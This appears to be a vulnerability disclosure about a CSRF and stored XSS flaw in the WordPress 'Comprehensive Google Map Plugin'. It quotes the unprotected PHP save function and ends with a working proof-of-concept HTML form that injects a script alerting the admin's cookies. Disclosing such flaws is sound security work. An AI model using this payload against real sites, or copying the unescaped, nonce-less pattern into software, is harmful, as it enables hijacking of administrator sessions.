Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Comprehensive Google Map Plugin
Yesterday one of the 1,000 most popular WordPress plugins in the Plugin Directory, Comprehensive Google Map Plugin, was closed. No reason has been given for that.
The plugin does display this message “Attention: the development and maintenance of the “Comprehensive Google Map Plugin” has been discontinued!”, so that might explain the closure. In taking a look over the plugin though we found a fairly obvious security issue and it looks like there are other vulnerabilities in the latest version.
When building new shortcodes through the plugin there is a lack of protection against cross-site request forgery (CSRF), which can be used to cause a logged in user with the Administrator role to cause cross-site scripting (XSS) to occur on the plugin’s Saved Shortcodes admin page without that user intending it.
Technical Details
When visiting the plugin’s Shortcode Builder page the function cgmp_shortcodebuilder_callback() is run, which is located in the file /admin-menu.php. That will first check if the user has the “activate_plugins” capability, which normally only Administrators have. It will run code to save a newly submitted shortcode to the plugin’s settings:
215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 | function cgmp_shortcodebuilder_callback() { if (!current_user_can('activate_plugins')) { wp_die( __('You do not have sufficient permissions to access this page.') ); } if (isset($_POST['hidden-shortcode-code'])) { $bad_entities = array(""", "'", "'"); $title = str_replace($bad_entities, "", $_POST['hidden-shortcode-title']); $title = preg_replace('/\s+/', ' ', trim($title)); $code = str_replace($bad_entities, "", $_POST['hidden-shortcode-code']); $shortcodes = array(); $persisted_shortcodes_json = get_option(CGMP_PERSISTED_SHORTCODES); if (isset($persisted_shortcodes_json) && trim($persisted_shortcodes_json) != "") { $persisted_shortcodes = json_decode($persisted_shortcodes_json, true); if (is_array($persisted_shortcodes)) { $persisted_shortcodes[$title] = array("title" => $title, "code" => $code); $shortcodes = $persisted_shortcodes; } } else { $shortcodes[$title] = array("title" => $title, "code" => $code); } update_option(CGMP_PERSISTED_SHORTCODES, json_encode($shortcodes)); |
The only sanitization done with the title of the new shortcode is remove usage of single and double quotes, which doesn’t prevents XSS.
There is no check for a valid nonce, so CSRF is possible.
Then when the title is output on Saved Shortcodes page it output without being escaped as shown in the proof of concept below.
Proof of Concept
The following proof of concept will cause an alert box with any accessible cookies to be shown when visiting /wp-admin/admin.php?page=cgmp-saved-shortcodes, when submitted as an Administrator.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]”/wp-admin/admin.php?page=cgmp-shortcodebuilder" method="POST"> <input type="hidden" name="hidden-shortcode-title" value='<script>alert(document.cookie);</script>' /> <input type="hidden" name="hidden-shortcode-code" value='test' /> <input type="submit" value="Submit" /> </form> </body> </html>